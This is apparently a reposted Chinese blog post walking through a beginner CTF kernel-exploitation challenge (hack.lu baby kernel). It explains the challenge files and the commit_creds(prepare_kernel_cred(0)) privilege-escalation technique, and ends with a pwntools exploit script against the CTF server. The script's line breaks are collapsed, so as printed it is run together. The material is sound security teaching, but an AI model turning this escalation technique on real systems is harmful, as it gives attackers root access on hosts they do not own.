First Kernel-pwn

來源:互聯網
上載者:User

標籤:ctf   模式   git   extra   lib   import   檔案系統   pytho   服務   

Kernel pwn-極簡題目的操作模式

完全參照M4x師傅的指導,用 hacklu的baby kernel邁了第一步

題目附帶檔案說明

一般題目會給出bzImage,.cpio, .sh檔案

  • sh檔案適用於啟動kernel的shell指令檔,參數決定了核心的保護情況。

  • .cpio檔案為檔案系統映像。將其解壓可以獲得伺服器互動程式的用戶端

  • bzImage為kernel binary,可視為壓縮後的檔案

  • vmlinux檔案(if exists), 未經壓縮的kernel檔案,為ELF格式。

    • 如果沒有vmlinux檔案,可以通過extract-vmlinux提取

    • ./extract-vmlinux ./bzImage > vmlinux
基本操作
  1. 獲得伺服器檔案系統環境

    解壓cpio檔案,能夠獲得伺服器內部檔案分布,包括建立環境的init指令碼和互動程式。

    在inti檔案中,通過insmod命令載入驅動模組

    insmod /lib/modules/4.4.72/babydriver.ko

    一般情況下,被載入的LKM即為漏洞所在。

    .ko檔案也是ELF檔案格式,可以通過ida進行分析。

    可以通過分析互動elf檔案,確定互動邏輯和調用核心模組的??

  2. 提權

    最常用的提權手段:

    commit_creds(prepare_kernel_cred(0))

    兩個函數的地址可以在 /proc/kallsyms中查看。

    vmlinux是未壓縮的kernel檔案(ELF格式),可以通過vmlinux提取到gadget,當然也可以從vmlinux檔案中擷取上面兩個函數的地址。

  3. loadling…

#!/usr/bin/env python# -*- coding: utf-8 -*-# from pwn import *#context.log_level = ‘debug‘context.terminal = [‘deepin-terminal‘, ‘-x‘, ‘sh‘, ‘-c‘]# io = process(‘./client_kernel_baby‘)io = remote(‘arcade.fluxfingers.net‘, 1817)kernel = ELF(‘./vmlinux‘)# get the address of 2 functions from vmlinuxcred = kernel.sym[‘prepare_kernel_cred‘]commit = kernel.sym[‘commit_creds‘]# run prepare kernel cred(0) and get the return valueio.recvuntil(‘----- Menu -----‘)io.sendlineafter(‘> ‘, ‘1‘)io.sendlineafter(‘>‘, str(cred))io.sendlineafter(‘>‘, ‘0‘)io.recvuntil(‘It is: ‘)ret_val = int(io.recvuntil(‘\n‘, drop = True),16)# run commit cred to get root privateio.sendlineafter(‘> ‘, ‘1‘)io.sendlineafter(‘>‘, str(commit))io.sendlineafter(‘>‘, str(ret_val))# read flag as rootio.sendlineafter(‘> ‘, ‘3‘)io.sendlineafter(‘>‘, ‘flag‘)io.interactive()

 

 

 

 


辣雞小譜尼
出處:http://www.cnblogs.com/ZHijack/
如有轉載,榮幸之至!請隨手標明出處;

First Kernel-pwn

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.